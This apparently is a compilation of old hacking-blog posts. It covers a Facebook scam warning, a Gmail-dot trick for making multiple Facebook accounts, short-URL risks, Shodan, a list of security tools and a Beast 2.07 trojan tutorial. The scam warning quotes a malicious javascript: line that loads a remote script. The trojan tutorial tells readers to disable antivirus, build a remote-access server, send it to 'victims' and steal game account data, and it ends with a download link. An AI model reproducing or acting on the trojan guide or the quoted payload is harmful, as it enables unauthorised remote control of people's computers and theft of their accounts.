Beware of Spams on Facebook

Recently you must have seen a spam such as 'Know Who Is Viewing your Profile' a Facebook Spam.

                                                                                         

 

How this scam post in other walls also without your knowledge?
 if the one of your friends click the link because of curiosity.  The link can detect his IP address.  Based on the IP address , it will say display the info as:

"5 users are currently viewing your profile from Delhi.
Follow the Steps to Reveal them"

The above info is just fake.  if you follow the steps , you will become victim of this scam.

It will ask you to paste the JavaScript into the address bar while using the Facebook.  The javascript it ask you to enter this is

javascript:(a=(b=document).createElement('script')).src='http://www.ajnachakra/com/js.js?'+Math.random(),b.body.appendChild(a);void(0)

If you copy and paste bold text , It will show the malcious JavaScript.  This JavaScript spread the spam message by posting in

•  In the Chat Messages to Friends
•  To the Inbox of Friends
•  To the Walls of Friends
•  At your own Wall

Fortunately , URL shorten service "is.gd" block the URL of the attacker.  So this spam message will not infect further.  

Create More Than One Facebook Account With Single Email

Hi, Sorry for the delay of the post ........

To proceed with this trick you will need a gmail account (only gmail is permitted, others will not work in this way). Gmail does not have a stringent security feature in case of email address such as dot(.) in the email id.

So check out the following addresses , they are same only diffirence with the dot(.)

ethical.hacker@gmail.com

ethic.alhacker@gmail.com

ethicalhac.ker@gmail.com

                                     

Sign up in the facebook with any of the email addresses above and the account will be actually associated with the single gmail account.

Facebook has not yet implemented to block this way of registration.

"Shortened URL's" they could be dangerous

Now, many of you must be thinking why is there a need to shorten a URL?? There could be several reasons such as save character space, looks attractive and no one can know where's the link diverting? 

Some reasons may be good for us but some such as " where's the link diverting? " may be a great problem.It can be troublesome if anyone use these service to make anyone fool.

          

So, if you are aware of these issues then long URL for Firefox can be very useful to you. Long URL replaces short urls with the originals so you can see where links actually link to. Short urls (eg http://tinyurl.com/123) simply redirect to some other page on the internet – you can’t tell what website they link to by looking at the link. This plugin fixes this by transparently replacing any of these links when every web page loads.                                                           

It is a free Firefox browser addon, that replaces short urls, on the the fly, with the originals so you can see where the links actually link to. With this tool you can actually tell if you have been to that page already or not.

Add-on for Firefox

Search Engine for Hackers

A new search engine has been introduced called "SHODAN" that lets you find specific computers (routers, servers, etc.) using a variety of filters. Some have also described it as a public port scan directory or a search engine of banners.

Web search engines, such as Google and Bing, are great for finding websites. But what if you're interested in finding computers running a certain piece of software (such as Apache)? Or if you want to know which version of Microsoft IIS is the most popular? Or you want to see how many anonymous FTP servers there are? Maybe a new vulnerability came out and you want to see how many hosts it could infect? Traditional web search engines don't let you answer those questions.

Following things could be searched for:

• country: 2-letter country code
• hostname: full or partial host name
• net: IP range using CIDR notation (ex: 18.7.7.0/24 )
• port: 21, 22, 23 or 80

As we [some of us] can understand, it is very easy to find vulnerable host just by looking at all the banner responses shown by SHODAN. It could turn out to be a huge threat as many skiddies could be scanning hosts anonymously round the clock for particular exploit or something that they understand well.

Click here to go to SHODAN

Orkut Control Panel

                                                                    

Let the browsing in orkut be on your finger tips. A menu will float over your orkut window which will have one touch links to various frequently browsed Orkut pages such as albums, scrapbooks, etc.

First Login to your Orkut Account then visit the following address for accessing Orkut Control Panel.

                                          Access Orkut Control Panel via URL

7 Must Have Tools For Every Hacker

Its been a while since I have posted about some hacking tools and with increasing number of emails asking me to do an  article on it,I finally decided to cover it up.Hacking tools are developed by some really good coders out there to ease out many complex tasks which have to be done manually and took painstakingly great deal of time and effort.All these tools provided here are free of cost,are tried hands on and are being actively developed by community,and if not,their alternatives are provided.To summarize it up,these are the 7 must have tools for every hacker out there.

1. Nmap

                                                         
      I think everyone has heard of this one, it recently had a version 5 release.
Nmap (Network Mapper) is a free open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts.Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use,and dozens of other characteristics. It may be used to discover computers and services on a computer network, thus creating a "map" of the network.Nmap runs on most types of computers and both console and graphical versions are available. Nmap is free and open source.Can be used by beginners (-sT) or by pros alike (packet_trace). A very versatile tool, once you fully understand the results.



DOWNLOAD NMAP

2. Nessus Remote Security Scanner

                                                              
      Recently went closed source, but is still essentially free. Works with a client-server framework.Nessus is the worlds  most popular vulnerability scanner used in over 75,000 organizations world-wide. Many of the worlds largest organizations are realizing significant cost savings by using Nessus to audit business-critical enterprise devices and applications.

DOWNLOAD NESSUS 

3. Wireshark 

                                                  
      Wireshark is a GTK+-based  network protocol analyzer, or sniffer, that lets you capture and interactively browse the contents of network frames. The goal of the project is to create a commercial-quality analyzer for Unix and to give Wireshark features that are missing from closed-source sniffers. Works great on both Linux and Windows (with a GUI), easy to use and can reconstruct TCP/IP Streams! .

DOWNLOAD WIRESHARK 

4. Cain and Abel 

                                                  
      The swiss knife of hacking tools..Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.The program does not exploit any software vulnerabilities or bugs that could not be fixed with little effort.



DOWNLOAD CAIN & ABEL


5. Kismet 

                                                      
 
       Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with  any wireless card which supports raw monitoring (rfmon) mode, and can sniff 802.11b, 802.11a, and 802.11g traffic. A good wireless tool as long as your card supports rfmon


DOWNLOAD KISMET 

6. NetStumbler
                                  

                                                                                   
        Yes a decent wireless tool for Windows! Sadly not as powerful as it’s Linux counterparts, but it’s easy to use and has a  nice interface, good for the basics of war-driving. NetStumbler is a tool for Windows that allows you to detect Wireless Local Area Networks (WLANs) using 802.11b, 802.11a and 802.11g. It has many uses:

1. Verify that your network is set up the way you intended.
2. Find locations with poor coverage in your WLAN.
3. Detect other networks that may be causing interference on your network.
4. Detect unauthorized rogue access points in your workplace.
5. Help aim directional antennas for long-haul WLAN links.
6. Use it recreationally for WarDriving. 

DOWNLOAD NETSTUMBLER

7. SuperScan
Powerful TCP port scanner, pinger, resolver. SuperScan 4 is an update of the highly popular Windows port scanning tool, SuperScan.If you need an alternative for nmap on Windows with a decent interface, I suggest you check this out, it’s pretty nice.

DOWNLOAD SUPERSCAN

Beast 2.07

                                                                           

First of all, I would like to say, that this tutorial has been provided for educational use, and that is its sole purpose



Now before we get into anything too complicated, I would like to explain (very simply) about how trojan horses work. They are not your average virus, they give you the power to connect to a 'victim' remotely, and do a variety of things. Anything, to be precise. There are 2 main components to a trojan, a client (the tool you use to connect to the victim), and the server (the file the the victim runs which enables you to connect to him). The client is used to create server.exe files with custom settings which you specify to enable successful connections.

Sometimes the AV will delete the files or tamper with them, so to be on the safe side shut down your AV then re-download or re-extract the files to be sure they are in correct working order. Note, you will most likely need to manually kill all the processes associated with your anti-virus in order to successfully terminate it.

Dont be alarmed, this file will not harm you whatsoever. When your antivirus dissembled this file, it containted strings that the antivirus deemed harmful, because it finds these same strings in viruses. (geeeezzz i wonder why ... Could it be that this tool creates viruses? :?) So id suggest turning off your antivirus just while you build the server, and while you send it to 'people', because your AV will prevent you from opening the client and will delete any server files you attempt to create.

This tutorial is written and designed around the Beast 2.07 Trojan. It is the most advanced version of the beast, and still remains the best by far. Its loaded with features and is simply hard to beat.

In this tutorial, I will explain how to configure a simple yet effective server file, and also explain what do do from there, and how to obtain valuable D2 Information once connected.

========
Part 1: Creating your Server and Examining The Beast
========

This step, believe it or not, is one of the most important. There are tons of options you can have when making a server file, but most arent necessary and increase chances of detection. This section will explain what is necessary and what isnt, and how to make the smallest server possible.

*NOTE* You should have disabled your AV by now.

Step one, would be to load Beast2.07.exe, after you have download Beast2.07.zip and extracted its contents. As you can see, beast has a friendly layout and is easy to use once you are properly educated.

Right on the main screen are 3 important text-fields, and a 2 important buttons.

Fields:
Host (Where the victims IP goes)
Post (Port you specify)
Password (password you Specify)
Go Beast (Connect to Victim)
Build Server (Create a custom server)


~Other Stuff~

The host field is where the IP of the victim goes (will explain more about this later), port is where the port you specified goes, and password is where the password you specified goes. Go Beast sends the connection request, and if everything is right it will connect.

Build Server is the button you want for this example. This button allows the creation of a new, and unique server for your own personal use.

Go Ahead and click that now.

The program will immediately open up a new window, with 6 tabs on the lefthand side, and the first tab opens automatically. Now you might say, "OmG This is confusing help!" ... and thats what everyone said at first, but im here to help 8)

The first thing were going to do, Is configure your servers connection settings. Remember the port / password on the main page? Thats where you specify both of those values. Also, you set up connection information (injection, where it will reside, and other important details) here.

The first most important connection setting, is how it will actually connect. There are 2 options here, and I will explain how both of them work. There are a variety of things a victim could have that could hinder connection settings, such as a router or a computer firewall, or a router that has a firewall! If they have any of these things, chances are slim you will not be able to connect to them, but there are ways around that you will come to find.

1) SIN Connection
A SIN connection is a reverse connection .. specifically designed for people using routers. When an individual has a router, it will prevent you from directly connecting to them ... so instead of you connecting the server, the server connects to you. However, SIN does not work that much and its not very effective to use.

2) Direct Connection: This method of connection allows you to connect right to the victims computer from your own. Its the most successful, and also the fastest / easiest way to get what you need.

So now, after reading that, lets go ahead and configure it. I will simply tell you what to put, and it will work

Wow .. finally! Click the 'Save Server' Button, and specify where you would like your server.exe file to go.

Download:

http://www.4shared.com/file/uHDM71NB/Beast_207.html